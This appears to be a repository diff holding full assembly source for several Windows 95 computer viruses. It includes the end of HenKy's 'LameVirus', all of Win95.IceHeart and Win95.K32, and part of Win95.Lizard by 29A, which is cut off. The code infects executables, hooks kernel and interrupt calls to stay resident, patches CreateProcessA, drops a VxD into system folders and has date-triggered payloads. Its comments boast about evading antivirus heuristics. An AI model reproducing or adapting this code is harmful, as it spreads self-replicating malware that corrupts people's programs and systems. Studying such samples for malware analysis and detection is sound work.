MOV DWORD PTR [ESI], 0C0000040h
ADD ESI,40
SUB ECX,1
CMP ECX,0
JNZ WRI
MOV ESI,[ESP]
ADD ESP,4
MOV EDI,ESI
ADD ESI,28H
MOV EAX,[ESI]
ADD ESI,34H-28H
ADD EAX,[ESI]
MOV ECX,[ESI]
MOV EDX,OFFSET BASE
ADD EDX,EBP
SUB EDX,OFFSET DELTA
MOV [EDX],ECX
MOV EBX,OFFSET OLD_EIP
ADD EBX,EBP
SUB EBX,OFFSET DELTA
MOV [EBX],EAX
MOV ESI,EDI
ADD ESI,MARKA
MOV BYTE PTR [ESI],"H" ; HenKy!
MOV EAX,OFFSET WFD_nFileSizeLow
ADD EAX,EBP
SUB EAX,OFFSET DELTA
MOV ECX,[EAX]
MOV EAX,EDI
BU:
CMP DWORD PTR [EDI], 'XGNI'
JNZ PE
CMP ESP,0
JNZ PO
PE:
ADD EDI,1
SUB ECX,1
CMP ECX,0
JNZ BU
CMP ESP,0
JNZ Cerrar
PO:
MOV ESI,EDI
ADD ESI,4
CMP DWORD PTR [ESI], 'DAPX'
JNZ PE
SUB ESP,4
MOV [ESP],EDI
MOV EBX,OFFSET MapAddress
ADD EBX,EBP
SUB EBX,OFFSET DELTA
SUB EDI,[EBX]
ADD EAX,28H
MOV [EAX],EDI
MOV EBX,OFFSET BASE
ADD EBX,EBP
SUB EBX,OFFSET DELTA
ADD EDI,[EBX]
ADD EDI,5
MOV EDX,OFFSET MILO
ADD EDX,EBP
SUB EDX,OFFSET DELTA
MOV [EDX],EDI
MOV EDI,[ESP]
ADD ESP,4
MOV ESI,OFFSET MEGAMIX
ADD ESI,EBP
SUB ESI,OFFSET DELTA
MOV ECX,MIX_SIZ/4
BASTARDO_VIRUS:
MOV EAX,[ESI]
MOV [EDI],EAX
ADD ESI,4
ADD EDI,4
SUB ECX,1
CMP ECX,0
JNZ BASTARDO_VIRUS
UnMapFile:
MOV EAX, OFFSET MapAddress
ADD EAX,EBP
SUB EAX,OFFSET DELTA
SUB ESP,4
MOV [ESP],EAX
MOV EAX, OFFSET UnmapViewOfFile
ADD EAX,EBP
SUB EAX,OFFSET DELTA
CALL [EAX]
CloseMap:
MOV EAX, OFFSET MapHandle
ADD EAX,EBP
SUB EAX,OFFSET DELTA
SUB ESP,4
MOV [ESP],EAX
MOV EAX, OFFSET CloseHandle
ADD EAX,EBP
SUB EAX,OFFSET DELTA
CALL [EAX]
Cerrar:
MOV EAX,OFFSET OLD_EIP
ADD EAX,EBP
SUB EAX,OFFSET DELTA
MOV EBX,[ESP]
MOV [EAX],EBX
ADD ESP,4
MOV EAX, OFFSET FileHandle
ADD EAX,EBP
SUB EAX,OFFSET DELTA
SUB ESP,4
MOV [ESP],EAX
MOV EAX, OFFSET CloseHandle
ADD EAX,EBP
SUB EAX,OFFSET DELTA
CALL [EAX]
TOPO:
MOV EAX, offset Win32FindData
ADD EAX,EBP
SUB EAX,OFFSET DELTA
SUB ESP,4
MOV [ESP],EAX
MOV EAX, OFFSET SearcHandle
ADD EAX,EBP
SUB EAX,OFFSET DELTA
SUB ESP,4
MOV [ESP],EAX
MOV EAX, OFFSET FindNextFile
ADD EAX,EBP
SUB EAX,OFFSET DELTA
CALL [EAX]
CMP ESP,0
JNZ LOOPER
APIs:
DB "CreateFileA",0
DB "CloseHandle",0
DB "FindFirstFileA",0
DB "FindNextFileA",0
DB "MapViewOfFile",0
DB "UnmapViewOfFile",0
DB "CreateFileMappingA",0
Zero_ DB 0
BASE DD 0
IMASK DB '*.ExE',0
DB 'HenZe LameVirus BY HenKy',0
align 4
FILE_END LABEL BYTE
APIaddresses:
CreateFile DD 0
CloseHandle DD 0
FindFirstFile DD 0
FindNextFile DD 0
MapViewOfFile DD 0
UnmapViewOfFile DD 0
CreateFileMappingA DD 0
GPA DD 0
SearcHandle DD 0
FileHandle DD 0
MapHandle DD 0
MapAddress DD 0
FILETIME STRUC
FT_dwLowDateTime DD ?
FT_dwHighDateTime DD ?
FILETIME ENDS
Win32FindData:
WFD_dwFileAttributes DD ?
WFD_ftCreationTime FILETIME ?
WFD_ftLastAccessTime FILETIME ?
WFD_ftLastWriteTime FILETIME ?
WFD_nFileSizeHigh DD ?
WFD_nFileSizeLow DD ?
WFD_dwReserved0 DD ?
WFD_dwReserved1 DD ?
FNAME DD 0
DD 0
DD 0
DD 0
DD 0
DD 0
align 4
MEM_END LABEL BYTE
EXITPROC:
PUSH 0
CALL ExitProcess
ENDS
END MEGAMIX
+285
View File
@@ -0,0 +1,285 @@
;last review 29.06.1999
;"—?® ­? ??®­? - ??? «?¤..."
;Win95.IceHeart v1.5
;(c) 1998-xxxx Stainless Steel Rat /2Rats /RVA /IkX
jumps
.386
.model flat,stdcall
extrn ExitProcess:PROC
.code
start:
_start:
cld
call _Next
_Next:
pop esi
sub esi,offset _Next
push ebp
cmp byte ptr [esp+3+4],0BFh
jne _ExitNow;NT
mov ebp,_krnl_begin+178h+0Ch-40
_DoSearchSection:
add ebp,40
mov edx,[ebp];first rva
test edx,edx
jz _ExitNow
cmp dword ptr [ebp+24h-0Ch],0D0000040h;attr
jne _DoSearchSection
mov eax,[ebp+0Ch+40-0Ch];second rva
mov ebx,eax
sub eax,edx;rva delta
sub eax,[ebp+8-0Ch];virtual size
cmp ah,(virlen_in_mem/256)+1
jb _DoSearchSection
;in ebx second rva
;in edx virtual size
_SectionForUs:
sub ebx,eax
lea edi,[_krnl_begin+ebx]
lea ebp,[edi+offset _SecondStart-offset _start]
pusha
lea esi,[esi+offset _start]
_ResidencyCheck:
xor ecx,ecx
cmp byte ptr [edi],cl
jne _ExitNow2
mov ch,(virlen_in_mem/256)+1
rep movsb
call ebp
_ExitNow2:
popa
_ExitNow:
pop ebp
jmp dword ptr [offset _old_eip+esi]
_SecondStart:
mov esi,dword ptr ds:[_krnl_begin+_1st_export+0Ah]
sub ebp,offset _SecondStart
lea edi,[offset _old_vxd_call+ebp]
push esi
movsd
movsw
lea eax,[ebp+offset _Handler]
pop edi
stosd
mov ax,cs
stosw
_InitSomeVars:
mov dword ptr [offset _RelocFix+ebp+1],ebp
lea eax,[offset _old_vxd_call+ebp]
mov dword ptr [ebp+offset _JmpFword+2],eax
retn
_Handler:
pusha
_RelocFix:
mov ebp,11223344h
_CheckBusyFlag:
lea ecx,[offset _busy_flag+ebp]
xor edx,edx
cmp byte ptr [ecx],dl
jne _Exit_Handler
mov dl,0C0h
cmp eax,2A0040h;id of DeviceIoControl
jne _CheckInt21Call
_CheckAvpCalls:
cmp word ptr [edx+esp+2],22h
jne _Exit_Handler
not dword ptr [edx+esp];i think, avp likes api code,like this ;)
_CheckInt21Call:
cmp eax,2A0010h;calling int 21h ?
jne _Exit_Handler
cmp word ptr [esp+44],716Ch;openfile ?
je _Infect_It
_Exit_Handler:
popa
_JmpFword:
jmp fword ptr ds:[offset _old_vxd_call]
_Infect_It:
not byte ptr [ecx]
mov edi,esi
xor eax,eax
cld
push ecx
push eax
mov ecx,esp
repnz scasb
pop ecx
mov eax,dword ptr [edi-5]
or eax,20202000h
cmp eax,'exe.'
; cmp eax,'eci.'
jne _ExitInfector
_InfectFile:
xor byte ptr [offset _Name+4+ebp],13
_AllocStack:
mov ch,4;1024
sub esp,ecx
push ecx
_OpenFile:
xor edi,edi
xor eax,eax
cdq
inc edx
mov ebx,edx
inc ebx
mov ax,716Ch
call _Int21h
xchg eax,ebx
jc _FreeStack
mov ah,3Fh
call _Process_1024b
cmp ecx,eax
jne _CloseJmp
mov eax,[edi+3Ch]
shr ecx,1
cmp eax,ecx
jae _CloseJmp
add edi,eax
mov eax,[edi]
inc eax;heuristics sucks
cmp ax,'EP'+1;sign
jne _CloseJmp
cmp byte ptr [edi+61h],7Dh;winzip's sfx stack size
je _CloseJmp
_CheckAlreadyInfected:
cmp byte ptr [edi+1Ah],al
je _CloseJmp
mov byte ptr [edi+1Ah],al
test byte ptr [edi+23],22h;dll or fixed image
jne _CloseJmp
mov byte ptr [edi+23],0;strip reloc
mov edx,dword ptr [edi+160];fixup section
test edx,edx
je _CloseJmp
push edx
xchg dword ptr [edi+40],edx;entry point
add edx,dword ptr [edi+48+4];image base
mov dword ptr [offset _old_eip+ebp],edx
pop edx
_AnalyzePlaceInFixupArea:
mov ecx,[edi+6]
lea esi,[edi+0F8h+12];rva
_DoAnalyzeSections:
lodsd
cmp eax,edx;search section with rva=fixup rva
je _OkiFixupOur
add esi,40-4
loop _DoAnalyzeSections
_CloseJmp:
jmp _Close
_OkiFixupOur:
lodsd;phys size
mov edx,virlen
cmp eax,edx
jb _CloseJmp
mov dword ptr [esi-12],edx
push edx
lodsd;phyz ofs
_Int21CallOptimization:
lea esi,[ebp+offset _Int21h]
_SeekToEnd:
push eax
pop dx
pop cx
mov ax,4200h
call esi
_WriteSelf:
mov ah,40h
lea edx,[ebp+offset _start]
pop ecx
call esi
_WriteHeader:
xor eax,eax
mov ah,42h
cdq
call esi
mov ah,40h
call _Process_1024b
_Close:
mov ah,3Eh
call _Int21h
_FreeStack:
pop ecx
add esp,ecx
_ExitInfector:
pop ecx
not byte ptr [ecx]
jmp _Exit_Handler
_Process_1024b:
lea edi,[esp+4+4]
xor ecx,ecx
mov ch,4;1024
mov edx,edi
_Int21h:
push ecx
push ebp
push ecx eax
push 2A0010h
mov ebp,_krnl_begin+_1st_export
call ebp
pop ebp
pop ecx
retn
_Name db 'Win95.iCE-hEART',0
_Msg db '? ? ?? , ? ???? ??§?¬­® «??«? !',0
_old_eip dd offset ExitProcess
virlen equ $-offset start
_old_vxd_call db 6 dup ('')
_busy_flag db ''
virlen_in_mem equ $-offset start
ends
.data
db 13,10
_krnl_begin equ 0BFF70000h
_1st_export equ 13D4h
end start
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
+744
View File
@@ -0,0 +1,744 @@
;***********************************************************************
;* *
;* VIRUS WIN95.K32 By nIgr0 *
;* *
;***********************************************************************
;
; Virus residente, pa win95
; Uso el espacio libre dejado por el header del kernel32
; dentro de la primera p gina.
; Parcheo el API CreateProcessA mediante un JMP
; Modifico los permisos de las p ginas que voy a utilizar
; mediante una llamada a CALLVXD0 (_PageModifyPermissions)
; Vxd 01 servicio 0d.
; Hallo la direccion de las apis a utilizar buscando en la
; export table del kernel32 , supongo la direcci?n base del
; kernel32.dll como 0bff70000h . La unica comprobaci?n que hago
; al respecto es mirar en la pila [sp+3]=0b7h, con lo que
; por lo menos si no es 0bff70000h se acerca :)
; Infecto aumentando la ultima secci?n del file y modifico el
; entrypoint del file, pero no modifico los atributos de la ?ltima
; secci?n aunque estos sean de solo lectura ,paso completamente de esos
; atributos y luego mientras se ejecuta el virus este se pone los
; atributos de pagina que quiera mediante el servicio
; _PageModifyPermissions.
;
.386p
.model flat,STDCALL
include win32.inc
extrn ExitProcess:PROC
extrn MessageBoxA:PROC ;apis exportadas unicamente en la primera
extrn CreateProcessA:proc ;generaci?n
;*********** Aqu? algunas equs interesantes ****************
viriisize equ (((offset end - offset start)+064h)/065h)*065h
K32 equ 0bff70000h
hueco equ 0bffc0400h ;Zona en el header
GENERIC_READ EQU 80000000H ;abre archivo para lectura
GENERIC_WRITE EQU 40000000H ;abre el archivo para escritura
OPEN_EXISTING EQU 3 ;usado por CreateFile para abrir archivo existente
.data
dummy db 0 ;de esta secci?n paso
mess db 'nIgrO rUlez!!!$',0
text db 'Virus Win95.K32 .... Ejecutado',0
.code
start:
xor eax,eax ;este es el codigo de un Hoste Ficticio
push eax
lea eax,mess
push eax
lea eax,text
push eax
xor eax,eax
push eax
nop
nop
nop
nop
nop
; call MessageBoxA
Lajodimos:
Push LARGE -1
call ExitProcess
;***************** Comienzo del Virus **********************
startvirii:
cmp byte ptr [esp+3],0bfh ;verifico que se llama desde el
jne malasunto ;la direcci?n bf??????h
pushad ;pusheo tooo
push ebp
call getdesp ;obtengo el delta
getdesp: pop ebp
sub ebp,offset getdesp
jmp saltito ;jmp pa esquivar la zona de datos :)
;***************** Comienzo de la zona de Datos ***********
startdata:
PARCHE: mov eax,0bff70400h+offset starthook-offset startvirii
jmp eax
codigoparcheado:
db 010h dup (0)
FIRMA db 'Virus K32 por nIgr0 ... "Hazlo o no lo hagas pero no lo intentes"',0
NLH db 'nIgr0_lives_here!!!!',0
IOBYTES dd 0h,0h
llamada dd 0bff713d4h ;direcci?n de CallVXD0 hallada anteriormente
hoste db 'c:\virus\k32\K.EXE',0,' '
ahand dd 0 ; handle del virus que abro
peheaderoffset dd 0 ; Guardo el offset del peheader del archivo
ObjectTableoffset dd 0 ; Guardo el offset de la object table en memoria
bytesread dd 0 ; numero de bytes que leo/escrito en el archivo
secdesplaza dd 0h
secphy dd offset startvirii- offset start
ultfisicalsize dd 0h
newobject: ; Zona en la que almaceno el ultimo objeto
oname db ".nigro",0,0 ; Pa modificarlo a placer
virtualsize dd 0
RVA dd 0
physicalsize dd 0
physicaloffset dd 0
reserved dd 0,0,0
objectflags dd 0h
peheader: ; Estructura del Pe header
signature dd 0
cputype dw 0
numObj dw 0
db 3*4 dup (0)
NtHeaderSize dw 0
Flags dw 0
db 4*4 dup (0)
entrypointRVA dd 0
db 3*4 dup (0)
objalign dd 0
filealign dd 0
db 4*4 dup (0)
imagesize dd 0
headersize dd 0
db 400h dup (0)
addresstable dd 00h ;direccion de la addresstable en la export table
nametable dd 00h ;direccion la tabla de punteros a strings (de la export table)
ordinaltable dd 00h ;puntero a la ordinal table
contador dd 00h ;pa calcular la posici?n del puntero en la nametable que
;que apunte a la api buscada.
apiabuscar dd 00h ;offset donde se encuentra la string de la api a
;buscar (es usada temporalmente por mi
;procedimiento GetAdressAPi)
longitudapi dd 00h
;************** Direcciones para las APIS *******************
nombreapis:
dd 010d
db 'CreateFile',0,' ' ;strings de las apis que
dd 014d
db 'SetFilePointer',0,' ' ;voy a utilizar
dd 08d
db 'ReadFile',0,' ' ;junto con el tama¤o de la
dd 09d
db 'WriteFile',0,' ' ;string
dd 011d
db 'CloseHandle',0,' '
dd 014d
db 'CreateProcessA',0,' '
dd 016d
db 'GetModuleHandleA',0
dd 014d
db 'GetProcAddress',0,' '
direccionesapis:
newCreateFile dd 00h ;0bff7799ch ;valores para mi versi?n de WIN :)
newSetFilePointer dd 00h ;0bff770e4h
newReadFile dd 00h ;0bff7594ah
newWriteFile dd 00h ;0bff75951h
newCloseFile dd 00h ;0bff7bc8bh
newCreateProcessA dd 00h ;0bff775e8h
newGetModuleHandleA dd 00h
newGetProcAddress dd 00h
dllmensajito db 'USER32.dll',0
apimensajito db 'MessageBoxA',0
;***************** Fin de la Zona de datos ***********************
saltito:
;en eax viene el entrypoint del virii
mov ebx,eax ;copia de seguridad
xor eax,eax ;empiezo a calcular la direccion de CALLVXD0
mov esi,K32 + 3CH
lodsw ;en ax me quedar el comienzo del PE header
add eax,K32 ;a la que le suma la direcci?n base del Kernel32
cmp dword ptr [EAX],00004550H ;verifico que es un PE header
je NoERROR
ERROR: jmp melaspiro
NoERROR:
mov esi,[EAX + 78H] ; 78H = la direcci?n a la export table
add esi,K32 + 1CH ; 1CH RVA para la adress table
lodsd ; en eax queda la RVA al primer ordinal
add eax,K32 ; es decir la direcci?n a la CALLVXD0
push eax ;
pop esi ;en esi=eax
lodsd ;obtengo la RVA de la primera API
add eax,K32 ;EAX = La direcci?n de la primera API
mov edi,ebx
and edi,0fffff000h ;calculo la pagina del virii
ror edi,012d
push eax
call modificarpermisos
pop eax
and ebx,00000fffh ;verifico que no va a utilizar 2 paginas
add ebx,viriisize ;en caso de que utilice 2 paginas , marco
cmp ebx,01000h ;la segunda pagina tambien para escritura
jl continuar
inc edi
push eax
call modificarpermisos
pop eax
continuar:
mov [ebp+llamada],eax ;salvo la direcci?n de CALLVXD0
mov eax,0bff70400h ;verifico que no est residente
mov ebx,dword ptr [eax]
cmp ebx,dword ptr [ebp+startvirii]
je yaresidente
mov ecx,08h ;numero de APis a buscar
lea esi,ebp+nombreapis
lea edi,ebp+direccionesapis
otraapi: ;obtengo la direccion de las apis
push edi ;que voy a utilizar
push esi
push ecx
call GetAddressApi
pop ecx
pop esi
pop edi
mov dword ptr [edi],eax
add edi,4h
add esi,021d
dec ecx
jne otraapi ;bueno en este punto tenemos las direcciones
;necesarias :)
mov eax,00002a00h
call INT_21 ;compruebo la fecha del sistema
cmp dh,02d
jne nopayload ;fecha de activaci?n 19d de febrero
cmp dl,019d
jne nopayload
lea ebx,ebp+dllmensajito ;Obtengo la direccion base de la
push ebx ;libreria USER32.dll donde reside
call [ebp+newGetModuleHandleA] ;el api MessageBoxA
lea ebx,ebp+apimensajito
push ebx
push eax
call [ebp+newGetProcAddress] ;obtengo la direccion de MessageBoxA
push 0
lea ebx,ebp+NLH
push ebx
lea ebx,ebp+FIRMA
push ebx
push 0
call eax ;llamo al api MessageBoxA
nopayload:
mov edi,0bff70h
call desprotegerpagina
mov edi,dword ptr [ebp+newCreateProcessA]
and edi,0fffff000h
ror edi,012d
call desprotegerpagina ;desprotejo 2 paginas una para poder
;parchear el api y otra en la que
;quedar residente
inc edi
call desprotegerpagina ;y la siguiente
mov esi,dword ptr [ebp+newCreateProcessA]
lea edi,ebp+codigoparcheado
mov ecx,010h
rep movsb ;copio los 10h primeros bytes del api
;CreateProcess
;para poder devolver el control al API
;cuando sea llamada.
lea esi,ebp+PARCHE
mov edi,dword ptr [ebp+newCreateProcessA] ;pongo el jmp
mov ecx,010h ;en la API ;del api
rep movsb
lea esi,ebp+startvirii
mov edi,0bff70400h
mov ecx,viriisize
rep movsb ;copio el virus en memoria
yaresidente:
melaspiro:
popad
pop ebp
malasunto:
db 0b8h ;esto es un mov eax,inm
oldip dd 0401000h ;Ip de inicio
jmp eax
enddata:
;*************** Modifica permisos de pagina *********************
;en eax la direccion de callvxd0
;y en edi la pagina a modificar
desprotegerpagina: ; LLamada a CALLVXD0
mov eax,dword ptr [ ebp + offset llamada]
modificarpermisos:
push 020060000h ;nuevos atributos de p gina
push 00h
push 01h
push edi
push 001000dh ;llamada a la VXD 1 servicio D (_PageModifyPermissions)
call eax
ret
;**************** Rutina para llamar a la int 21h **********************
INT_21: ; LLamada a la INT 21
push ecx
push eax
push 002a0010h
mov eax,dword ptr [ ebp + offset llamada]
call eax
RET
;************** Procedimiento que encuentra la direccion de las apis ***************
;************** en la export table del Kernel32 ***************
GetAddressApi:
mov eax,dword ptr [esi]
mov dword ptr [ebp+longitudapi],eax
add esi,04h
mov dword ptr [ebp+apiabuscar],esi ;pusheo el valor de la string
xor eax,eax
mov dword ptr [ebp+contador],eax ;pongo a cero el valor del contador
mov esi,K32 + 3CH
lodsw ;en ax me quedar el comienzo del PE header
add eax,K32 ;a la que le suma la direcci?n base del Kernel32
mov esi,[EAX + 78H] ; 78H = la direcci?n a la export table
add esi,K32 + 1cH ; 1CH RVA para la adress table
lodsd ;obtengo los offset de algunas TABLAS
add eax,K32 ;interesantes de la export table
mov dword ptr [ebp+addresstable],eax
lodsd
add eax,K32
mov dword ptr [ebp+nametable],eax
lodsd
add eax,K32
mov dword ptr [ebp+ordinaltable],eax
;ADDRESS TABLE RVA = DD Relative Virtual Address of the Export Address
;Table.
;NAME TABLE RVA = DD Relative Virtual Address of the Export Name Table
;Pointers.
;ORDINAL TABLE RVA = DD Relative Virtual Address of Export Ordinals
mov eax,dword ptr [ebp+nametable]
mov esi,eax
anotherapi:
push esi
lodsd
mov esi,eax
add esi,K32
mov edi,dword ptr [ebp+apiabuscar]
mov ecx,dword ptr [ebp+longitudapi];en ecx el numero de bytes
cld ;con los que compararemos
repe cmpsb
je encontrada
pop esi
add esi,04h
inc dword ptr [ebp+contador]
jmp anotherapi
encontrada:
pop esi
xor eax,eax
mov eax,dword ptr [ebp+contador]
add eax,eax
add eax,dword ptr [ebp+ordinaltable] ;Con el valor de contador
mov esi,eax ;me voy a la ordinal table
lodsw ;y busco el ordinal del API
and eax,0000ffffh
add eax,eax
add eax,eax
add eax,dword ptr [ebp+addresstable] ;Y con el ordinal me voy a la
mov esi,eax ;adress table
lodsd
add eax,K32 ;devuelvo en eax la direccion del API
ret
;***************************************************************************
;* *
;* Comienzo de la Rutina que intercepa la API CreateProcessA *
;* *
;***************************************************************************
starthook:
push ebp
call getdelta ;obtengo el delta
getdelta: pop ebp
sub ebp,offset getdelta
mov eax,[esp+0ch] ;obtengo el puntero a la cadena de texto
;de la pila :)
pushad ;pusheo tooo
mov esi,eax
lea edi,ebp+hoste
otrocar: cmp byte ptr [esi],0 ;copio la cadena de texto con el nombre
je sacabo ;de la victima en la variable hoste
movsb
jmp otrocar
sacabo: movsb ;copio el 0 tambin
lea esi,ebp+hoste
cmp byte ptr [esi],022h
jne proseguir ;rehago el string por si est
;entre comillas
lea edi,ebp+hoste
inc esi
mascara: cmp byte ptr [esi],022h
je finalizar
movsb
jmp mascara
finalizar: mov byte ptr [esi],0h
movsb
proseguir: cmp word ptr [edi-3h],'EX'
je esunexe
cmp word ptr [edi-3h],'ex'
je esunexe
jmp emergencia
esunexe:
lea esi,ebp+hoste ;Abro el archivo
xor eax,eax
push eax
push eax
push large OPEN_EXISTING
push eax
push eax
push large GENERIC_READ or GENERIC_WRITE
mov eax,esi
push eax
call dword ptr[ebp + newCreateFile]
cmp eax,-1
je emergencia
mov dword ptr [ebp + offset ahand],eax ; Guardo el handle
; Busco el comienzo del PE header que est en la posici?n 3ch
mov edx,03ch
call moverpuntero
; Leo la posici?n del Pe header
mov ecx,004h
lea edx,[ebp + offset peheaderoffset]
call lectura
; Me muevo hasta el PE header
mov edx,dword ptr [ebp+offset peheaderoffset]
call moverpuntero
; Leo un poco del header para calcular todo el tama¤o del
; pe header y object table
mov ecx,058h
lea edx,[ebp + offset peheader]
call lectura
; Llevo el puntero al comienzo del PE header de nuevo
mov edx,dword ptr [ebp+ offset peheaderoffset]
call moverpuntero
; leo todo el pe header y la object table
mov ecx,dword ptr [ebp + offset headersize]
lea edx,[ebp + offset peheader]
call lectura
; Me aseguro que es un pe y que no est infectado
cmp dword ptr [ebp + offset peheader],00004550h ; PE,0,0
jnz notape
cmp word ptr [ebp + offset peheader + 4ch],00badh ;si est infectado salir
jz notape
; marco el archivo como infectado en una zona del Header
mov word ptr [ebp + offset peheader + 4ch],00badh
; Localizo el offset de la object table
xor eax,eax
mov ax, word ptr [ebp + offset NtHeaderSize]
add eax,18h
mov dword ptr [ebp + offset ObjectTableoffset],eax
;relativo al comienzo del Pe header
;Calculo el Offset del ?ltimo objecto de la tabla
mov esi,dword ptr [ebp + offset ObjectTableoffset]
lea eax,[ebp + offset peheader]
add esi,eax
xor eax,eax
mov ax,[ebp + offset numObj]
mov ecx,40d
xor edx,edx
mul ecx
add esi,eax
sub esi,40d
lea edi,[ebp + offset newobject]
mov ecx,10d
push esi
push edi
rep movsd ;copio la entrada en la object table en memoria
mov eax,dword ptr [ebp + offset physicalsize]
mov dword ptr [ebp + offset ultfisicalsize],eax
mov dword ptr [ebp + offset secphy],eax
; Calcula el tama¤o fisico pa el ultimo object
mov ecx,dword ptr [ebp + offset filealign]
mov eax,dword ptr [ebp + offset physicalsize]
add eax,viriisize
xor edx,edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp + offset physicalsize],eax
mov eax,dword ptr [ebp + offset virtualsize]
mov dword ptr [ebp+ offset secdesplaza],eax ;el tama¤o virtual ser
;el desplazamiento dentro de la secci?n
;RVA del objeto + desplazamiento virtual= entrypoint RVA
; calcula el tama¤o virtual del objeto modificado
mov ecx,dword ptr [ebp + offset objalign]
mov eax,dword ptr [ebp + offset virtualsize]
add eax,viriisize
xor edx,edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp + offset virtualsize],eax
; Modifico la image size del archivo.
mov eax,viriisize
add eax,dword ptr [ebp + offset imagesize]
mov ecx,[ebp + offset objalign]
xor edx,edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp + offset imagesize],eax
; Copio el objeto modificado en el buffer
pop esi
pop edi
mov ecx,10d
rep movsd
; Calculo la nueva Entrypoint RVA
mov eax,dword ptr [ebp + offset RVA]
add eax,dword ptr [ebp + offset secphy]
mov ebx,dword ptr [ebp + offset entrypointRVA]
mov dword ptr [ebp + offset entrypointRVA],eax
add ebx,dword ptr [ebp + offset peheader + 34h] ;le sumo la base adress
mov dword ptr [ebp + offset oldip],ebx
;completo la variable oldip para generar
;el jump al hoste
; de nuevo al Pe header
mov edx,dword ptr [ebp+offset peheaderoffset]
call moverpuntero
; Escribo el pe header y la object table en el archivo
mov ecx,dword ptr [ebp + offset headersize]
lea edx,[ebp + offset peheader]
call escritura
; Me voy al final del file para copiar el virus
mov edx,dword ptr [ebp + offset physicaloffset]
add edx,dword ptr [ebp + offset ultfisicalsize]
call moverpuntero
; Copio el virus al final (de la ultima secci?n)
mov ecx,viriisize
lea edx,[ebp + offset startvirii]
call escritura
notape:
push dword ptr [ebp + ahand]
call dword ptr [ebp + newCloseFile]
emergencia:
lea esi,ebp+codigoparcheado
mov edi,dword ptr [ebp+newCreateProcessA] ;pongo otra vez
mov ecx,010h ;los 010h primeros bytes
rep movsb ;del api
popad
pop ebp
call getdelta2 ;obtengo el delta otra vez
getdelta2:pop eax
sub eax,offset getdelta2
pop dword ptr [eax+dirretorno]
call dword ptr [eax+newCreateProcessA] ;llamo a la api
push ebp
call getdelta3 ;obtengo el delta otra vez
getdelta3:pop ebp
sub ebp,offset getdelta3
pushad
lea esi,ebp+PARCHE
mov edi,dword ptr [ebp+newCreateProcessA] ;pongo otra vez
mov ecx,010h ;el parche ;del api
rep movsb
popad
pop ebp
db 068h ;opcode de un push
dirretorno dd 00h
ret
lectura: ;Llamada al api ReadFile
push large 0 ;En ecx: Numero de bytes a leer
lea eax,[ebp +IOBYTES] ;En edx: el offset del buffer
push eax
push ecx
push edx
push dword ptr [ebp + ahand]
call dword ptr [ebp + newReadFile]
ret
moverpuntero: ;Llamada al api SetFilePointer
push LARGE 0 ;en edx: el offset del archivo
push LARGE 0
push edx
push dword ptr [ebp + ahand]
call dword ptr [EBP + newSetFilePointer]
ret
escritura: ;Llamada al api WriteFile
;en ecx: bytes a escribir
;en edx: offset del buffer
push LARGE 0
LEA eax,[ebp + IOBYTES]
push eax
push ecx
push edx
push dword ptr [ebp + ahand]
call dword ptr [ebp + newWriteFile]
jur: ret
endhook:
endvirii:
end:
end startvirii
+627
View File
@@ -0,0 +1,627 @@
;Win95.Lizard
;-----------------------------------------------------------------------------
;Lizard by Reptile/29A (another version ;)
;-----------------------------------------------------------------------------
; 22222 99999 AAAAA
; 222 222 999 999 AAA AAA
; 222 999999 AAAAAAA
; 222 999 AAA AAA
; 2222222 999999 AAA AAA
;This is an encrypted vxd direct action dos exe infector (I added some anti-
;heuristics and other stuff and optimized the code of v1.0).
;When an infected file is run the virus decrypts itself, drops lzd.vxd to the
;available one of the three dirs and then returns back to the host. After the
;next reboot...
;When windoze 95 is starting, it loads the vxd (lzd.vxd) automatically coz
;it's in the '\iosubsys\' dir (Lizard doesn't need to modify the system.ini
;or the registry). Then the virus takes control and hooks the V86 interrupt
;chain. It executes on exec (4bh), create (3ch), ext. open (6ch), close (3eh)
;and on find first file (4eh) using direct action techniques to infect all
;dos exes in the current directory (*highly* infectious!). Lzd.vxd has a size
;of 7099 bytes (masm sux! :P ), but the victims are only increased by 1967 (!)
;bytes.
;Findvirus v7.75, AVP v3.0 and TBAV v8.03 (high heuristic sensitivity!) can't
;detect it (all for win95).
;Compiling lzd.vxd (win95 DDK):
;makefile
;Compiling rmlzd.inc:
;tasm /m2 rmlzd.asm
;tlink /t rmlzd.obj
;file2db rmlzd.com (or another db generator)
;modify rmlzd.dat
;To install copy lzd.vxd to one of the following dirs:
;- c:\windows\system\iosubsys
;- c:\win95\system\iosubsys
;- c:\windows.000\system\iosubsys
;...or start lizard.exe :)
;P.S.:
;Sandy: are u lucky now? ;)
;Jacky: thanx for testing it!
;GriYo: the stack stuff really didn't work :P
;P.P.S:
;TrY MaGiC MuShRoOmS...
;---[LZD.ASM]-----------------------------------------------------------------
.386p
.xlist
include vmm.inc
.list
vxdhsize equ 701
vxddsize equ 81
vxdcsize equ 880
esize equ encend - encstart
vsize equ vend - start
Declare_Virtual_Device LZD, 6, 66, LZD_Control, Undefined_Device_Id, \
Undefined_Init_Order,,
VxD_Locked_Data_Seg
wcard db '*.e?e',0 ;*.l?z
include rmlzd.inc ;realmode code
dflag db 0
pflag db 0
ndta db 43 dup (?)
header db 26 dup (?)
VxD_Locked_Data_Ends
;-----------------------------------------------------------------------------
VxD_Locked_Code_Seg
BeginProc LZD_Device_Init
;trigger
mov ah,2ah ;get date
vxdint 21h
;live drazil si
cmp dh,10 ;26.10.?
jne npload
cmp dl,26
jne npload
mov pflag,1 ;hehe
npload:
mov eax,21h ;install int 21h handler
mov esi,offset32 int21h
VMMcall Hook_V86_Int_Chain
clc
ret
EndProc LZD_Device_Init
;-----------------------------------------------------------------------------
BeginProc int21h
cmp [ebp.Client_AH],4bh ;exec
je short ww
cmp [ebp.Client_AH],3ch ;create
je short ww
cmp [ebp.Client_AH],6ch ;ext. open
je short ww
cmp [ebp.Client_AH],3eh ;close
je short ww
cmp [ebp.Client_AH],4eh ;find first
je short ww
jmp prevhook
ww:
Push_Client_State ;save regs
VMMcall Begin_Nest_Exec
;-----------------------------------------------------------------------------
cmp dflag,1
je done
mov ax,3d02h ;open lzd.vxd
lea edx,dropname1 ;in the 'c:\windows\system\iosubsys' dir
vxdint 21h
jnc short rd
mov ax,3d02h ;open the vxd
lea edx,dropname2 ;in the 'c:\win95\system\iosubsys' dir
vxdint 21h
jnc short rd
mov ax,3d02h ;open the vxd
lea edx,dropname3 ;in the 'c:\windows.000\system\iosubsys' dir
vxdint 21h
